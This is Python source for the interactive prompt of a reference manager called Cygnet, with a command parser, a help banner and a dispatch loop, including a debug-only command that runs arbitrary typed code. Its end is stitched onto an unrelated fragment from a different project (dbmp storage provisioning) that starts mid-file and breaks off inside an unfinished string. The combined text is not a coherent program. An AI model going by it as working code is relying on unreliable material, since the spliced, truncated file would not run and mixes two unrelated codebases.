class peepPrompt(): """ Interactive prompt. """ style = pt.styles.Style.from_dict({ "path": f"{_g.ptPurple}", "peep": f"{_g.ptPink} bold italic", "": _g.ptGreen, }) def make_message(self): # Construct nice form of _g.currentPath.. path = str(_g.currentPath.resolve()).replace(str(Path.home()), "~") msg = [("class:path", f"({path}) "), ("class:peep", "peep > ")] return msg commentSymbol = '#' session = pt.PromptSession() intro = ( f"\n{_g.ansiHelpYellow}" "/----------------------------------------------------------------\\\n" f"| {_g.ansiBold}Cygnet v{__version__:<16s}{_g.ansiReset}{_g.ansiHelpYellow} |\n" "| Available commands: |\n" "| ---------------- |\n" "| r[ead] a file w[rite] to a file |\n" "| |\n" "| l[ist] all articles so[rt] articles s[earch] in articles |\n" "| |\n" "| a[dd] a DOI d[elete] a ref e[dit] a ref |\n" "| c[ite] a ref u[pdate] a ref |\n" "| i[mport] a new PDF |\n" "| |\n" "| ap - add a PDF dp - delete a PDF |\n" "| f[etch] a PDF (requires VPN) |\n" "| |\n" "| un[do] h <cmd> - help q[uit] |\n" f"\\----------------------------------------------------------------/{_g.ansiReset}\n" ) def parse_line(self, line): """ Parses the command-line input. """ line = line.strip() # Remove anything after a comment if self.commentSymbol in line: line = line.split(self.commentSymbol)[0].rstrip() # We need to split at spaces, but not at escaped spaces, e.g. # in file names. line = re.split(r'(?<!\\) ', line) # Then replace the escaped spaces with ordinary spaces. We # assume here that there is no other legitimate uses for # escaped spaces, apart from file names. line = [l.replace("\\ ", " ") for l in line] # Replace other escaped characters, BUT only if the command is not # "search" (for which we accept regex patterns as arguments). if line[0] not in ["s", "se", "sea", "sear", "searc", "search"]: for escapedChar, char in _g.pathEscapes: line = [l.replace(escapedChar, char) for l in line] # Separate into command + arguments. cmd, args = line[0], line[1:] # Remove empty arguments. args = [a for a in args if a] # I have typed in :q more than once cmd = cmd.lstrip(":") # If any numbers are in the cmd, separate the bit with a number and # prepend it to args. This allows us to do things like "o1" or "c1d" # instead of "o 1" or "c 1d". Yes I'm lazy. # This one-liner is a bit obscure, but the alternative is a # full-fledged loop... n = next((i for i, c in enumerate(cmd) if c.isdigit()), len(cmd)) if n < len(cmd): args = [cmd[n:]] + args cmd = cmd[:n] # Finally, check whether cmd is 'h' or 'help' help = cmd in ["h", "help"] if help: if args != []: # Strip the real command from the args cmd, args = args[0], args[1:] else: cmd, args = "", [] return cmd, args, help async def loop(self): print(self.intro) with pt.patch_stdout.patch_stdout(): while True: try: line = await self.session.prompt_async(self.make_message(), style=self.style) except KeyboardInterrupt: # Ctrl-C continue except EOFError: # Ctrl-D break else: # Skip empty lines. if line.strip() == "": continue # Otherwise, parse the line. cmd, args, help = self.parse_line(line) # Check for edge cases of help which cannot be delegated # to the decorator. if help and cmd == "": # General help wanted print(self.intro) continue elif help and cmd in ["q", "quit", "zzzpeep"]: print(f"{_g.ansiHelpYellow}" f"\n Quits the programme.\n{_g.ansiReset}") continue # Run the desired command. if cmd in [ "q", "qu", "qui", "quit", # QUIT "zzzpeep" ]: break elif cmd in ["c", "ci", "cit", "cite"]: # CITE await commands.cli_cite(args, help=help) # asyncio.create_task(commands.cli_cite(args, help=help)) elif cmd in ["o", "op", "ope", "open"]: # OPEN commands.cli_open(args, help=help) elif cmd in [ "w", "wr", "wri", "writ", # WRITE "write" ]: commands.cli_write(args, help=help) elif cmd in ["l", "li", "ls", "lis", "list"]: # LIST commands.cli_list(args, help=help) elif cmd in ["cd"]: # CD commands.cli_cd(args, help=help) elif cmd in ["e", "ed", "edi", "edit"]: # EDIT if help is False: _saveHist(cmd, args) commands.cli_edit(args, help=help) elif cmd in ["a", "ad", "add"]: # ADD if help is False: _saveHist(cmd, args) await commands.cli_add(args, help=help) elif cmd in [ "d", "de", "del", "dele", # DELETE "delet", "delete" ]: if help is False: _saveHist(cmd, args) await commands.cli_delete(args, help=help) elif cmd in [ "u", "up", "upd", "upda", # UPDATE "updat", "update" ]: if help is False: _saveHist(cmd, args) await commands.cli_update(args, help=help) elif cmd in ["s", "se", "search"]: # SEARCH commands.cli_search(args, help=help) elif cmd in ["so", "sor", "sort"]: # SORT if help is False: _saveHist(cmd, args) commands.cli_sort(args, help=help) elif cmd in [ "i", "im", "imp", "impo", # IMPORT "impor", "import" ]: if help is False: _saveHist(cmd, args) await commands.cli_import(args, help=help) elif cmd in ["ap", "addp", "addpd", "addpdf"]: # ADDPDF await commands.cli_addpdf(args, help=help) elif cmd in [ "dp", "delp", "delpd", "delpdf", # DELETEPDF "deletep", "deletepd", "deletepdf" ]: await commands.cli_deletepdf(args, help=help) elif cmd in [ "f", "fe", "fet", "fetc", # FETCH "fetch" ]: await commands.cli_fetch(args, help=help) elif cmd in ["un", "und", "undo"]: # UNDO _undo(help=help) elif cmd in ["exec"] and _g.debug: # EXEC import traceback # Execute arbitrary code. Useful for inspecting internal state. try: exec("_res = " + " ".join(args), globals(), locals()) print(locals()["_res"]) except Exception as e: traceback.print_exc() elif cmd in ["pee"]: # PEE print("zzzpee...") elif cmd in ["peep", "PEEP"]: # PEEP print("PEEP!") else: # unknown _error("command '{}' not recognised".format(cmd)) # Need a tiny sleep to paper over a weird bug. # Try removing this and spamming 'l' before quitting # to see the bug. # There WILL be bugs if the time taken to print any # output (e.g. 'l' with large databases) exceeds # this sleep. With 3 references, printing takes a # fraction of a millisecond. With 300 references # it takes about 60 ms. await asyncio.sleep(0.1) # 100 ms. return
from prompt_toolkit.key_binding.bindings.named_commands import get_by_name from prompt_toolkit.key_binding.bindings.completion import generate_completions from dbmp.interactive_lexers import TypeChooserLexer, WelcomeLexer, dbmp_style from dbmp.interactive_lexers import EditLexer, VOLS, VOLS_D, PP, MP, COLORS from dbmp.interactive_lexers import TMPS, TMPS_D, MOUNTS, ALERTS from dbmp.interactive_lexers import EVENTS_U, EVENTS_S from dbmp.interactive_lexers import dbmp_interactive_completer from dbmp.interactive_lexers import dbmp_provision_completer from dbmp.interactive_lexers import dbmp_chooser_completer from dbmp.interactive_lexers import dbmp_list_completer print = pt.print_formatted_text HISTORY = os.path.expanduser("~/.dbmp_history") # session = pt.PromptSession(history=pt.history.FileHistory(HISTORY)) session = pt.PromptSession() bindings = pt.key_binding.KeyBindings() VI = pt.enums.EditingMode.VI EMACS = pt.enums.EditingMode.EMACS def _process_re(raw_str): return list(map(re.compile, raw_str.splitlines())) VPROMPT = r"""prefix: my-test count: 1 size(GB): 1 replica: 3 template: None object: False